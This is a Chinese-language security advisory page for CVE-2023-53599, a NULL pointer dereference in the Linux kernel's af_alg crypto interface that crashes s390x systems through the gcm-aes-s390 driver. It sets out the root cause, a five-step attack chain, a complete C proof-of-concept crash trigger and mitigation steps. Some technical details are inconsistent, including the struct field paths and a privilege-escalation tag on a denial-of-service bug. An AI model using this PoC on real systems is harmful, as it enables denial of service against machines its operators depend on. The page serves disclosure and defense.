IPBUF安全漏洞报告
English
CVE-2023-53599 CVSS 5.5 中危

CVE-2023-53599 Linux内核crypto af_alg模块空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53599
漏洞类型
空指针解引用/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (crypto/af_alg子系统,gcm-aes-s390驱动)

相关标签

Linux Kernel空指针解引用拒绝服务crypto子系统af_alggcm-aes-s390s390x本地提权内核漏洞CVE-2023-53599

漏洞概述

CVE-2023-53599是Linux内核crypto子系统中af_alg接口的一个空指针解引用漏洞。该漏洞位于af_alg_alloc_areq()函数中,由于未正确初始化areq->first_rsgl.sgl.sgt.sgl指针,导致在特定条件下触发内核崩溃(kernel oops)。具体而言,当用户通过AF_ALG套接字向gcm-aes-s390驱动传递空的密文(empty ciphertext)时,af_alg_get_rsgl()函数中的循环会直接退出而不会设置areq->first_rsgl。随后_aead_recvmsg()调用aead_request_set_crypt()将req->dst设置为未初始化的areq->first_rsgl.sgl.sgl.sgt.sgl值。当gcm-aes-s390驱动尝试在gcm_walk_start()中对req->dst进行操作时,由于该指针指向无效地址(0x0000000a00000000),触发内核指针解引用错误,导致系统崩溃。该漏洞主要影响IBM s390x架构上的Linux系统,但根本问题存在于通用的af_alg代码中。该漏洞的CVSS评分为5.5,属于中等严重等级,攻击者需要本地低权限访问即可触发,无需用户交互,主要影响系统可用性,可能导致拒绝服务攻击。

技术细节

该漏洞的根本原因在于af_alg_alloc_areq()函数中缺少对areq->first_rsgl.sgl.sgl.sgt.sgl字段的初始化。正常情况下,该字段应指向areq->first_rsgl.sgl.sgl中的scatterlist数组。

漏洞触发流程如下:
1. 用户通过AF_ALG套接字创建AEAD(Authenticated Encryption with Associated Data)加密操作
2. 调用aead_recvmsg()接收数据
3. _aead_recvmsg()调用aead_request_set_crypt(),将req->dst设置为areq->first_rsgl.sgl.sgl.sgt.sgl的值
4. af_alg_get_rsgl()函数遍历scatterlist列表,当传入空密文时,循环直接退出,不初始化areq->first_rsgl
5. gcm-aes-s390驱动的gcm_walk_start()函数尝试访问req->dst指向的内存
6. 由于req->dst包含未初始化的垃圾值(实际为0x0000000a00000000),触发内核指针解引用异常
7. 系统进入oops状态并崩溃

值得注意的是,在x86_64平台上使用gcmaes_crypt_by_sg()时不会出现此问题,因为该实现忽略req->dst而仅使用req->src。这暗示aesni-intel_glue.c中可能存在另一个潜在bug。

利用条件:
- 需要本地访问权限
- 需要低权限用户账户
- 目标系统必须使用s390x架构
- 内核必须编译了gcm-aes-s390驱动
- 需要通过AF_ALG套接字发送空的密文数据

攻击链分析

STEP 1
步骤1:创建AF_ALG套接字
攻击者通过socket(AF_ALG, SOCK_SEQPACKET, 0)创建AF_ALG类型的套接字,并绑定到gcm(aes)加密算法
STEP 2
步骤2:设置加密密钥
使用setsockopt()设置AES加密密钥,初始化加密操作上下文
STEP 3
步骤3:接受连接获取操作文件描述符
通过accept()获取opfd,用于后续的加密/解密操作
STEP 4
步骤4:发送空的密文数据
通过read()触发_aead_recvmsg(),传入空的密文数据,使af_alg_get_rsgl()跳过初始化
STEP 5
步骤5:触发内核空指针解引用
gcm-aes-s390驱动的gcm_walk_start()访问未初始化的req->dst指针,导致内核oops和系统崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53599 PoC - Trigger kernel oops via empty ciphertext on AF_ALG // Affected: Linux kernel with gcm-aes-s390 driver on s390x architecture // Impact: Kernel NULL pointer dereference leading to system crash (DoS) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #include <linux/socket.h> #include <sys/stat.h> #include <fcntl.h> int main(int argc, char *argv[]) { int tfmfd, opfd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)" }; // Create AF_ALG socket tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket"); return 1; } // Bind to gcm(aes) cipher if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } // Set encryption key (32 bytes for AES-256) unsigned char key[32] = {0}; if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("setsockopt key"); close(tfmfd); return 1; } // Accept connection to create operation fd opfd = accept(tfmfd, NULL, 0); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } // Send empty ciphertext to trigger the vulnerability // The key is sending 0 bytes of ciphertext which causes // af_alg_get_rsgl() to skip initialization of first_rsgl char empty_buf[16] = {0}; // Send AAD (Additional Authenticated Data) first write(opfd, empty_buf, 12); // Send empty ciphertext - this triggers the bug // recvmsg will call aead_recvmsg -> crypto_aead_decrypt // -> gcm_walk_start with uninitialized req->dst char recv_buf[1]; read(opfd, recv_buf, 1); close(opfd); close(tfmfd); printf("PoC executed - check dmesg for kernel oops\n"); return 0; }

影响范围

Linux Kernel < 6.6 (受影响的af_alg代码)
Linux Kernel 6.6.x (部分版本)
Linux Kernel 6.1.x (LTS分支受影响)
Linux Kernel 5.15.x (LTS分支受影响)
Linux Kernel 5.10.x (LTS分支受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)在内核编译配置中禁用gcm-aes-s390驱动(CONFIG_CRYPTO_AES_S390=n);2)通过seccomp过滤器限制非特权用户调用socket(AF_ALG)系统调用;3)使用Linux安全模块(如SELinux、AppArmor)限制对crypto相关接口的访问;4)监控异常的内核崩溃日志,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表